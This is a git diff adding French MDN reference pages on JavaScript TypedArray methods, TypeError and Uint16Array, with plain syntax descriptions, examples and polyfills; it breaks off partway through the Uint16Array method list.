+uint8.slice(1);   // Uint8Array [ 2, 3 ]
+uint8.slice(2);   // Uint8Array [ 3 ]
+uint8.slice(-2);  // Uint8Array [ 2, 3 ]
+uint8.slice(0,1); // Uint8Array [ 1 ]
+ +

Prothèse d'émulation (polyfill)

+ +

Il n'existe pas d'objet global intitulé TypedArray, la prothèse doit donc uniquement être employée si nécessaire :

+ +
// https://tc39.github.io/ecma262/#sec-%typedarray%.prototype.slice
+if (!Uint8Array.prototype.slice) {
+  Object.defineProperty(Uint8Array.prototype, 'slice', {
+    value: function (begin, end){
+      return new Uint8Array(Array.prototype.slice.call(this, begin, end));
+    }
+  });
+}
+
+ +

De plus cette prothèse n'est pas parfaite car elle renvoie une instance d'Array et pas de Uint8Array. Elle manque donc des propriétés normalement associées aux objets TypedArray.

+ +

S'il faut également prendre en charge les moteurs JavaScript qui ne prennent pas en charge la méthode {{jsxref("Object.defineProperty")}}, mieux vaut ne pas ajouter de prothèse du tout pour TypedArray.prototype car on ne peut pas les rendre non-énumérables.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-%typedarray%.prototype.slice', '%TypedArray%.prototype.slice')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-%typedarray%.prototype.slice', '%TypedArray%.prototype.slice')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.TypedArray.slice")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Array.prototype.slice()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/some/index.html b/files/fr/web/javascript/reference/global_objects/typedarray/some/index.html new file mode 100644 index 0000000000..31fb309ab9 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/typedarray/some/index.html @@ -0,0 +1,125 @@ +--- +title: TypedArray.prototype.some() +slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/some +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Prototype + - Reference + - TypedArray + - TypedArrays +translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/some +--- +
{{JSRef}}
+ +

La méthode some() teste si certains éléments du tableau typé remplissent une condition décrite par la fonction de test donnée. Cette méthode utilise le même algorithme que {{jsxref("Array.prototype.some()")}}. Dans le reste de cet article TypedArray correspond à un des types de tableaux typés.

+ +
{{EmbedInteractiveExample("pages/js/typedarray-some.html")}}
+ + + +

Syntaxe

+ +
typedarray.some(callback[, thisArg])
+ +

Paramètres

+ +
+
callback
+
La fonction à tester pour chaque élément. Elle prend trois arguments : +
+
valeurCourante
+
L'élément du tableau typé en cours de traitement.
+
index
+
L'indice de l'élément du tableau typé en cours de traitement.
+
array
+
Le tableau typé sur lequel la méthode some a été appelée.
+
+
+
thisArg
+
Paramètre optionnel, la valeur à utiliser en tant que this lors de l'exécution de callback.
+
+ +

Valeur de retour

+ +

true si la fonction de rappel renvoie une valeur équivalente à true pour chaque élément du tableau typé, false sinon.

+ +

Description

+ +

La méthode some exécute la fonction callback fournie pour chaque élément du tableau typé jusqu'à ce que callback renvoie une valeur vraie (une valeur qui vaut true lorsqu'elle est convertie en un booléen). Si un tel élément est trouvé, la méthode some renvoie immédiatement true. Dans le cas contraire, si callback renvoie une valeur fausse pour tous les éléments, la méthode some renverra false.

+ +

callback est appelé avec trois arguments : la valeur de l'élément, l'indice de cet élément et le tableau qui est parcouru.

+ +

Si le paramètre thisArg est utilisé, il sera passé à la fonction callback en tant que valeur this. Sinon, la valeur undefined sera utilisée comme valeur this. La valeur this définitivement prise en compte par la fonction callback est déterminée selon les règles usuelles de détermination de this.

+ +

some ne modifie pas le tableau typé sur lequel elle a été appelée.

+ +

Exemples

+ +

Tester la valeur des éléments d'un tableau typé

+ +

Dans l'exemple qui suit, on teste s'il existe au moins un élément du tableau typé qui est supérieur à 10.

+ +
function supérieurÀ10(élément, index, array) {
+  return élément > 10;
+}
+new Uint8Array([2, 5, 8, 1, 4]).some(supérieurÀ10);  // false
+new Uint8Array([12, 5, 8, 1, 4]).some(supérieurÀ10); // true
+
+ +

Tester la valeur des éléments avec les fonctions fléchées

+ +

Les fonctions fléchées permettent d'utiliser une syntaxe plus concise pour arriver au même résultat :

+ +
new Uint8Array([2, 5, 8, 1, 4]).some(elem => elem > 10); // false
+new Uint8Array([12, 5, 8, 1, 4]).some(elem => elem > 10); // true
+ +

Prothèse d'émulation (polyfill)

+ +

Il n'existe pas d'objet global intitulé TypedArray, la prothèse doit donc uniquement être employée si nécessaire :

+ +
// https://tc39.github.io/ecma262/#sec-%typedarray%.prototype.slice
+if (!Uint8Array.prototype.some) {
+  Object.defineProperty(Uint8Array.prototype, 'some', {
+    value: Array.prototype.some
+  });
+}
+
+ +

S'il faut également prendre en charge les moteurs JavaScript qui ne prennent pas en charge la méthode {{jsxref("Object.defineProperty")}}, mieux vaut ne pas ajouter de prothèse du tout pour TypedArray.prototype car on ne peut pas les rendre non-énumérables.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-%typedarray%.prototype.some', 'TypedArray.prototype.some')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-%typedarray%.prototype.some', 'TypedArray.prototype.some')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.TypedArray.some")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("TypedArray.prototype.every()")}}
    • +
  • {{jsxref("Array.prototype.some()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/sort/index.html b/files/fr/web/javascript/reference/global_objects/typedarray/sort/index.html new file mode 100644 index 0000000000..d6a83dfc5b --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/typedarray/sort/index.html @@ -0,0 +1,92 @@ +--- +title: TypedArray.prototype.sort() +slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/sort +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Prototype + - Reference + - TypedArray + - TypedArrays +translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/sort +--- +
{{JSRef}}
+ +

La méthode sort() permet de trier numériquement les éléments d'un tableau typé, à même ce tableau. Cette méthode utilise le même algorithme que {{jsxref("Array.prototype.sort()")}} en triant les valeurs par ordre numérique plutôt que par ordre lexicographique. Par la suite, TypedArray désigne l'un des types de tableau typé here.

+ +
{{EmbedInteractiveExample("pages/js/typedarray-sort.html")}}
+ + + +

Syntaxe

+ +
typedarray.sort([fonctionComparaison])
+ +

Paramètres

+ +
+
fonctionComparaison {{optional_inline}}
+
Cette fonction définit l'ordre de tri à appliquer.
+
+ +

Valeur de retour

+ +

Le tableau typé trié.

+ +

Exemples

+ +

Pour plus d'exemples, voir la page sur la méthode {{jsxref("Array.prototype.sort()")}}.

+ +
var nombres = new Uint8Array([40, 1, 5, 200]);
+nombres.sort();
+// Uint8Array [ 1, 5, 40, 200 ]
+// Contrairement aux tableaux classiques (Array), une fonction
+// de comparaison n'est pas nécessaire pour les nombres
+
+var nombres2 = [40, 1, 5, 200];
+nombres2.sort();
+// Les éléments d'un tableau classique sont triés comme des chaînes
+// [1, 200, 40, 5]
+
+function comparaisonNombres(a, b) {
+  return a - b;
+}
+
+nombres.sort(comparaisonNombres);
+// [ 1, 5, 40, 200 ]
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-%typedarray%.prototype.sort', 'TypedArray.prototype.sort')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-%typedarray%.prototype.sort', 'TypedArray.prototype.sort')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.TypedArray.sort")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Array.prototype.sort()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/subarray/index.html b/files/fr/web/javascript/reference/global_objects/typedarray/subarray/index.html new file mode 100644 index 0000000000..78456fb4cd --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/typedarray/subarray/index.html @@ -0,0 +1,96 @@ +--- +title: TypedArray.prototype.subarray() +slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/subarray +tags: + - JavaScript + - Méthode + - Prototype + - Reference + - TypedArray +translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/subarray +--- +
{{JSRef}}
+ +

La méthode subarray() permet de renvoyer un nouvel objet TypedArray basé sur le même {{jsxref("ArrayBuffer")}} et dont les éléments sont du même type que l'objet TypedArray courant. Le paramètre début est à considérer au sens large et le paramètre end est à considérer au sens strict. TypedArray est l'un des types de tableaux typés.

+ +
{{EmbedInteractiveExample("pages/js/typedarray-subarray.html")}}
+ + + +

Syntaxe

+ +
typedarray.subarray([début[,fin]])
+
+ +

Paramètres

+ +
+
début{{optional_inline}}
+
L'élément à partir duquel commencer le nouveau tableau typé. Cet élément initial sera inclus dans le nouveau tableau (sens large). Si la valeur n'est pas définie, tout le tableau sera inclus dans la nouvelle vue.
+
fin{{optional_inline}}
+
L'élément auquel finir le nouveau tableau typé. Cet élément ne fera pas partie du nouveau tableau (sens strict). Si ce paramètre n'est pas utilisé, tous les éléments contenus à partir de début jusqu'à la fin du tableau courant seront inclus dans la nouvelle vue.
+
+ +

Valeur de retour

+ +

Un nouvel objet {{jsxref("TypedArray")}}.

+ +

Description

+ +

L'intervalle défini par début et fin est redimensionné si besoin pour être un intervalle valide en regard du tableau courant. Si la longueur du nouveau tableau est négative, elle est ramenée à zéro. Si début ou fin a une valeur négative, on prendra en compte la position à partir de la fin du tableau et non à partir du début de celui-ci.

+ +

On notera que cette méthode permet de créer un nouvelle vue sur le tampon (buffer) existant, tous les changements apportés via le nouvel objet impacteront le tableau typé initial et vice versa.

+ +

Exemples

+ +
var buffer = new ArrayBuffer(8);
+var uint8 = new Uint8Array(buffer);
+uint8.set([1,2,3]);
+
+console.log(uint8); // Uint8Array [ 1, 2, 3, 0, 0, 0, 0, 0 ]
+
+var sub = uint8.subarray(0,4);
+
+console.log(sub);   // Uint8Array [ 1, 2, 3, 0 ]
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Remplacée par ECMAScript 6.
{{SpecName('ES6', '#sec-%typedarray%.prototype.subarray', 'TypedArray.prototype.subarray')}}{{Spec2('ES6')}}Définition initiale au sein d'un standard ECMA.
{{SpecName('ESDraft', '#sec-%typedarray%.prototype.subarray', 'TypedArray.prototype.subarray')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.TypedArray.subarray")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/tolocalestring/index.html b/files/fr/web/javascript/reference/global_objects/typedarray/tolocalestring/index.html new file mode 100644 index 0000000000..605a1d14be --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/typedarray/tolocalestring/index.html @@ -0,0 +1,78 @@ +--- +title: TypedArray.prototype.toLocaleString() +slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/toLocaleString +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Prototype + - Reference + - TypedArray + - TypedArrays +translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/toLocaleString +--- +
{{JSRef}}
+ +

La méthode toLocaleString() renvoie une chaîne de caractères uqi représente les éléments du tableau typé. Les éléments sont convertis en chaînes de caractères et séparés par une chaîne de caractères qui est fonction de la locale (la virgule « , » par exemple). Cette méthode utilise le même algorithme que {{jsxref("Array.prototype.toLocaleString()")}} et vu que les éléments d'un tableau typé sont des nombres, elle utilise le même algorithme que {{jsxref("Number.prototype.toLocaleString()")}} pour chaque élément. Dans la suite de cet article, TypedArray fait référence à l'un des types de tableau typé listés ici.

+ +

Syntaxe

+ +
typedarray.toLocaleString([locales [, options]]);
+ +

Paramètres

+ +
{{page('/fr/docs/Web/JavaScript/Référence/Objets_globaux/NumberFormat', 'Paramètres')}}
+ +

Valeur de retour

+ +

Une chaîne de caractères qui représente les éléments du tableau typé.

+ +

Exemples

+ +
var uint = new Uint32Array([2000, 500, 8123, 12, 4212]);
+
+uint.toLocaleString();
+// Si on utilise la locale de-DE
+// "2.000,500,8.123,12,4.212"
+
+uint.toLocaleString("en-US");
+// "2,000,500,8,123,12,4,212"
+
+uint.toLocaleString('ja-JP', { style: 'currency', currency: 'JPY' });
+// "￥2,000,￥500,￥8,123,￥12,￥4,212"
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-%typedarray%.prototype.tolocalestring', 'TypedArray.prototype.toLocaleString')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-%typedarray%.prototype.tolocalestring', 'TypedArray.prototype.toLocaleString')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.TypedArray.toLocaleString")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Array.prototype.toLocaleString()")}}
    • +
  • {{jsxref("Number.prototype.toLocaleString()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/tostring/index.html b/files/fr/web/javascript/reference/global_objects/typedarray/tostring/index.html new file mode 100644 index 0000000000..b9a4932d9a --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/typedarray/tostring/index.html @@ -0,0 +1,79 @@ +--- +title: TypedArray.prototype.toString() +slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/toString +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Prototype + - Reference + - TypedArray +translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/toString +--- +
{{JSRef}}
+ +

La méthode toString() renvoie une chaîne de caractères qui représente le tableau typé et ses éléments. Cette méthode utilise le même algorithme que {{jsxref("Array.prototype.toString()")}}. Dans la suite de cet article, TypedArray fait référence à l'un des types de tableau typé listés ici.

+ +
{{EmbedInteractiveExample("pages/js/typedarray-tostring.html")}}
+ + + +

Syntaxe

+ +
typedarray.toString()
+ +

Valeur de retour

+ +

Une chaîne de caractères qui représente les éléments du tableau typé.

+ +

Description

+ +

Les objets {{jsxref("TypedArray")}} surchargent la méthode toString de {{jsxref("Object")}}. Pour les objets TypedArray, la méthode toString fusionne le tableau et renovoie une chaîne de caractères contenant les éléments du tableau, chacun séparés par une virgule. Par exemple :

+ +
var numbers = new Uint8Array([2, 5, 8, 1, 4])
+numbers.toString(); // "2,5,8,1,4"
+
+ +

JavaScript appelle automatiquement la méthode toString() lorsqu'un tableau typé doit être manipulé sous une forme textuelle (par exemple lorsqu'il est utilisé avec une chaîne de caractères dans une concaténation).

+ +

Compatibilité

+ +

Si un navigateur ne prend pas encore en charge la méthode TypedArray.prototype.toString(), le moteur JavaScript utilisera la méthode toString rattachée à {{jsxref("Object")}} :

+ +
var numbers = new Uint8Array([2, 5, 8, 1, 4])
+numbers.toString(); // "[object Uint8Array]"
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-%typedarray%.prototype.tostring', 'TypedArray.prototype.toString')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-%typedarray%.prototype.tostring', 'Array.prototype.toString')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.TypedArray.toString")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("TypedArray.prototype.join()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/values/index.html b/files/fr/web/javascript/reference/global_objects/typedarray/values/index.html new file mode 100644 index 0000000000..08f16af8f9 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/typedarray/values/index.html @@ -0,0 +1,92 @@ +--- +title: TypedArray.prototype.values() +slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/values +tags: + - ECMAScript 2015 + - Iterator + - JavaScript + - Méthode + - Prototype + - Reference + - TypedArray + - TypedArrays +translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/values +--- +
{{JSRef}}
+ +

La méthode values() renvoie un nouvel objet Array Iterator qui contient les valeurs pour chaque indice du tableau.

+ +
{{EmbedInteractiveExample("pages/js/typedarray-values.html")}}
+ + + +

Syntaxe

+ +
typedArr.values()
+ +

Valeur de retour

+ +

Un nouvel objet Array Iterator.

+ +

Exemples

+ +

Parcourir le tableau typé avec for...of

+ +
var arr = new Uint8Array([10, 20, 30, 40, 50]);
+var eArray = arr.values();
+// prérequis : le navigateur doit supporter les boucles
+// for..of et les variables dont la portée est définie
+// par let
+for (let n of eArray) {
+  console.log(n);
+}
+
+ +

Une autre méthode d'itération

+ +
var arr = new Uint8Array([10, 20, 30, 40, 50]);
+var eArr = arr.values();
+console.log(eArr.next().value); // 10
+console.log(eArr.next().value); // 20
+console.log(eArr.next().value); // 30
+console.log(eArr.next().value); // 40
+console.log(eArr.next().value); // 50
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-%typedarray%.prototype.values', '%TypedArray%.prototype.values()')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-%typedarray%.prototype.values', '%TypedArray%.prototype.values()')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.TypedArray.values")}}

+ +

Voir aussi

+ +
    +
  • Les tableaux typés en JavaScript
    • +
  • {{jsxref("TypedArray")}}
    • +
  • {{jsxref("TypedArray.prototype.entries()")}}
    • +
  • {{jsxref("TypedArray.prototype.keys()")}}
    • +
  • {{jsxref("TypedArray.prototype.@@iterator()", "TypedArray.prototype[@@iterator]()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/typeerror/index.html b/files/fr/web/javascript/reference/global_objects/typeerror/index.html new file mode 100644 index 0000000000..ffaab9a317 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/typeerror/index.html @@ -0,0 +1,139 @@ +--- +title: TypeError +slug: Web/JavaScript/Reference/Objets_globaux/TypeError +tags: + - Error + - JavaScript + - Object + - Reference + - TypeError +translation_of: Web/JavaScript/Reference/Global_Objects/TypeError +--- +
{{JSRef}}
+ +

L'objet TypeError représente une erreur qui intervient lorsque la valeur n'est pas du type attendu.

+ +

Syntaxe

+ +
new TypeError([message[, nomFichier[, numLigne]]])
+ +

Paramètres

+ +
+
message
+
Paramètre optionnel. Une description de l'erreur dans un format compréhensible par un humain.
+
+ +
+
nomFichier {{Non-standard_inline}}
+
Paramètre optionnel. Le nom du fichier contenant le code qui a causé l'erreur.
+
+ +
+
numLigne {{Non-standard_inline}}
+
Paramètre optionnel. Le numéro de ligne du code qui a causé l'erreur
+
+ +

Description

+ +

Une exception TypeError est levée lorsque qu'un argument ou un opérande est utilisé avec une fonction ou un opérateur incompatible avec le type attendu.

+ +

Propriétés

+ +
+
{{jsxref("TypeError.prototype")}}
+
Permet d'ajouter des propriétés aux instances de TypeError.
+
+ +

Méthodes

+ +

L'objet global TypeError ne contient pas de méthodes qui lui sont propres. Il possède malgré tout des méthodes héritées via sa chaîne de prototypes.

+ +

Instances de TypeError

+ +

Propriétés

+ +

{{ page('fr/docs/Web/JavaScript/Reference/Objets_globaux/TypeError/prototype', 'Propri.C3.A9t.C3.A9s') }}

+ +

Méthodes

+ +

{{ page('fr/docs/Web/JavaScript/Reference/Objets_globaux/TypeError/prototype', 'M.C3.A9thodes') }}

+ +

Exemples

+ +

Intercepter une exception TypeError

+ +
try {
+  null.f();
+} catch (e) {
+  console.log(e instanceof TypeError); // true
+  console.log(e.message);              // "null has no properties"
+  console.log(e.name);                 // "TypeError"
+  console.log(e.fileName);             // "Scratchpad/1"
+  console.log(e.lineNumber);           // 2
+  console.log(e.columnNumber);         // 2
+  console.log(e.stack);                // "@Scratchpad/2:2:3\n"
+}
+
+ +

Créer une exception TypeError

+ +
try {
+  throw new TypeError('Coucou', "unFichier.js", 10);
+} catch (e) {
+  console.log(e instanceof TypeError); // true
+  console.log(e.message);              // "Coucou"
+  console.log(e.name);                 // "TypeError"
+  console.log(e.fileName);             // "unFichier.js"
+  console.log(e.lineNumber);           // 10
+  console.log(e.columnNumber);         // 0
+  console.log(e.stack);                // "@Scratchpad/2:2:9\n"
+}
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ES3', '#sec-15.11.6.5', 'TypeError')}}{{Spec2('ES3')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.11.6.5', 'TypeError')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-native-error-types-used-in-this-standard-typeerror', 'TypeError')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard-typeerror', 'TypeError')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.TypeError")}}

+
+ +

Voir aussi

+ +
    +
  • {{jsxref("Error")}}
    • +
  • {{jsxref("TypeError.prototype")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/uint16array/index.html b/files/fr/web/javascript/reference/global_objects/uint16array/index.html new file mode 100644 index 0000000000..bdac3e0e10 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/uint16array/index.html @@ -0,0 +1,206 @@ +--- +title: Uint16Array +slug: Web/JavaScript/Reference/Objets_globaux/Uint16Array +tags: + - Constructor + - JavaScript + - Reference + - TypedArray + - TypedArrays + - Uint16Array +translation_of: Web/JavaScript/Reference/Global_Objects/Uint16Array +--- +
{{JSRef}}
+ +

Le tableau typé Uint16Array permet de représenter un tableau d'entiers non signés représentés sur 16 bits, où l'ordre des octets correspond à celui de la plateforme utilisée. Si on souhaite contrôler l'ordre des octets utilisé (le « boutisme »), on utilisera un objet {{jsxref("DataView")}} à la place. Les éléments du tableau sont initialisés à 0. Une fois que le tableau est construit, on peut manipuler ses différents éléments grâce aux méthodes de l'objet ou grâce à la notation usuelle (avec les crochets).

+ +

Syntaxe

+ +
new Uint16Array(); // apparu avec ES2017
+new Uint16Array(longueur);
+new Uint16Array(tableauTypé);
+new Uint16Array(objet);
+new Uint16Array(tampon [, décalage [, longueur]]);
+ +

Pour plus d'informations sur la syntaxe du constructeur et le rôle des différents paramètres, voir la page TypedArray.

+ +

Propriétés

+ +
+
{{jsxref("TypedArray.BYTES_PER_ELEMENT", "Uint16Array.BYTES_PER_ELEMENT")}}
+
Cette propriété renvoie un nombre correspondant à la quantité d'octets pour un élément du tableau. Dans le cas d'Uint16Array, ce sera 2.
+
Uint16Array.length
+
La propriété de longueur statique qui vaut 3. Pour connaître le nombre d'élément, voir {{jsxref("TypedArray.prototype.length", "Uint16Array.prototype.length")}}.
+
{{jsxref("TypedArray.name", "Uint16Array.name")}}
+
Cette propriété renvoie la chaîne de caractères correspondant au nom du constructeur. Pour Uint16Array ce sera : "Uint16Array".
+
{{jsxref("TypedArray.prototype", "Uint16Array.prototype")}}
+
Le prototype des objets TypedArray.
+
+ +

Méthodes

+ +
+
{{jsxref("TypedArray.from","Uint16Array.from()")}}
+
Cette méthode permet de créer un Uint16Array à partir d'un itérable ou d'un objet semblable à un tableau. Voir aussi {{jsxref("Array.from()")}}.
+
{{jsxref("TypedArray.of","Uint16Array.of()")}}
+
Cette méthode permet de créer un Uint16Array à partir d'un nombre variable d'arguments. Voir aussi {{jsxref("Array.of()")}}.
+
+ +

Prototype Uint16Array

+ +

Tous les objets Uint16Array héritent de {{jsxref("TypedArray.prototype", "%TypedArray%.prototype")}}.

+ +

Propriétés

+ +
+
Uint16Array.prototype.constructor
+
Cette propriété renvoie la fonction qui a créé l'instance du prototype. Par défaut, ce sera le constructeur Uint16Array.
+
{{jsxref("TypedArray.prototype.buffer", "Uint16Array.prototype.buffer")}} {{readonlyInline}}
+
Cette propriété renvoie l'objet {{jsxref("ArrayBuffer")}} référencé par l'objet Uint16Array Elle est déterminée lors de la construction et est accessible uniquement en lecture seule.
+
{{jsxref("TypedArray.prototype.byteLength", "Uint16Array.prototype.byteLength")}} {{readonlyInline}}
+
Cette propriété renvoie la longueur, exprimée en octets, de l'objet Uint16Array à partir du début de l'objet {{jsxref("ArrayBuffer")}} correspondant. Elle est déterminée lors de la construction et est accessible uniquement en lecture seule.
+
{{jsxref("TypedArray.prototype.byteOffset", "Uint16Array.prototype.byteOffset")}} {{readonlyInline}}
+
Cette propriété renvoie le décalage, en nombre d'octets, entre le début du tableau typé courant et du début du {{jsxref("ArrayBuffer")}} correspondant. Elle est déterminée lors de la construction et est accessible uniquement en lecture seule.
+
{{jsxref("TypedArray.prototype.length", "Uint16Array.prototype.length")}} {{readonlyInline}}
+
Cette propriété renvoie le nombre d'éléments contenus dans le tableau Uint16Array. Elle est déterminée lors de la construction et est accessible uniquement en lecture seule.
+
+ +

Méthodes

+ +
+
{{jsxref("TypedArray.copyWithin", "Uint16Array.prototype.copyWithin()")}}
+
Copie une suite d'éléments d'un tableau dans le tableau. Voir également {{jsxref("Array.prototype.copyWithin()")}}.
+
{{jsxref("TypedArray.entries", "Uint16Array.prototype.entries()")}}
+
Renvoie un nouvel objet Array Iterator qui contient les paires clé/valeur pour chaque indice du tableau. Voir également {{jsxref("Array.prototype.entries()")}}.
+
{{jsxref("TypedArray.every", "Uint16Array.prototype.every()")}}
+
Teste si l'ensemble des éléments du tableau remplissent une certaine condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.every()")}}.
+
{{jsxref("TypedArray.fill", "Uint16Array.prototype.fill()")}}
+
Remplit les éléments d'un tableau avec une certaine valeur pour les éléments compris entre un indice de début et un indice de fin. Voir également {{jsxref("Array.prototype.fill()")}}.
+
{{jsxref("TypedArray.filter", "Uint16Array.prototype.filter()")}}
+
Crée un nouveau tableau dont tous les éléments proviennent de ce tableau et respectent une condition fournie par une fonction de test. Voir également {{jsxref("Array.prototype.filter()")}}.
+
{{jsxref("TypedArray.find", "Uint16Array.prototype.find()")}}
+
Renvoie une valeur trouvée dans le tableau s'il existe un élément du tableau qui satisfait une condition fournie par une fonction de test, s'il n'y a pas de tel élément undefined sera renvoyé. Voir également {{jsxref("Array.prototype.find()")}}.
+
{{jsxref("TypedArray.findIndex", "Uint16Array.prototype.findIndex()")}}
+
Renvoie l'indice d'un élément qui satisfait une condition fournie par une fonction de test, si aucun élément ne remplit la condition -1 sera renvoyé. Voir également {{jsxref("Array.prototype.findIndex()")}}.
+
{{jsxref("TypedArray.forEach", "Uint16Array.prototype.forEach()")}}
+
Appelle une fonction pour chacun des élément du tableau. Voir également {{jsxref("Array.prototype.forEach()")}}.
+
{{jsxref("TypedArray.includes", "Uint16Array.prototype.includes()")}}
+
Détermine si le tableau typé contient un élément donné. Cette méthode renvoie true ou false selon le cas de figure. Voir également {{jsxref("Array.prototype.includes()")}}.
+
{{jsxref("TypedArray.indexOf", "Uint16Array.prototype.indexOf()")}}
+
Renvoie le premier indice (le plus petit) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.indexOf()")}}.
+
{{jsxref("TypedArray.join", "Uint16Array.prototype.join()")}}
+
Fusionne l'ensemble des éléments du tableau en une chaîne de caractères. Voir également {{jsxref("Array.prototype.join()")}}.
+
{{jsxref("TypedArray.keys", "Uint16Array.prototype.keys()")}}
+
Renvoie un nouvel objet Array Iterator qui contient les clés de chaque indice du tableau. Voir également {{jsxref("Array.prototype.keys()")}}.
+
{{jsxref("TypedArray.lastIndexOf", "Uint16Array.prototype.lastIndexOf()")}}
+
Renvoie le dernier indice (le plus élevé) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.lastIndexOf()")}}.
+
{{jsxref("TypedArray.map", "Uint16Array.prototype.map()")}}
+
Crée un nouveau tableau dont les éléments sont les images des éléments du tableau courant par une fonction donnée. Voir également {{jsxref("Array.prototype.map()")}}.
+
{{jsxref("TypedArray.move", "Uint16Array.prototype.move()")}} {{non-standard_inline}} {{unimplemented_inline}}
+
Ancienne version, non-standard, de {{jsxref("TypedArray.copyWithin", "Uint16Array.prototype.copyWithin()")}}.
+
{{jsxref("TypedArray.reduce", "Uint16Array.prototype.reduce()")}}
+
Applique une fonction sur un accumulateur et chaque élément du tableau (de gauche à droite) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduce()")}}.
+
{{jsxref("TypedArray.reduceRight", "Uint16Array.prototype.reduceRight()")}}
+
Applique une fonction sur un accumulateur et chaque élément du tableau (de droite à gauche) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduceRight()")}}.
+
{{jsxref("TypedArray.reverse", "Uint16Array.prototype.reverse()")}}
+
Inverse l'ordre des éléments d'un tableau. Le premier élément du tableau devient le dernier et le dernier devient le premier (et ainsi de suite). Voir également {{jsxref("Array.prototype.reverse()")}}.
+
{{jsxref("TypedArray.set", "Uint16Array.prototype.set()")}}
+
Enregistre plusieurs valeurs dans le tableau typé à partir de valeurs d'un autre tableau.
+
{{jsxref("TypedArray.slice", "Uint16Array.prototype.slice()")}}
+
Extrait un fragment d'un tableau et renvoie ce fragment. Voir également {{jsxref("Array.prototype.slice()")}}.
+
{{jsxref("TypedArray.some", "Uint16Array.prototype.some()")}}
+
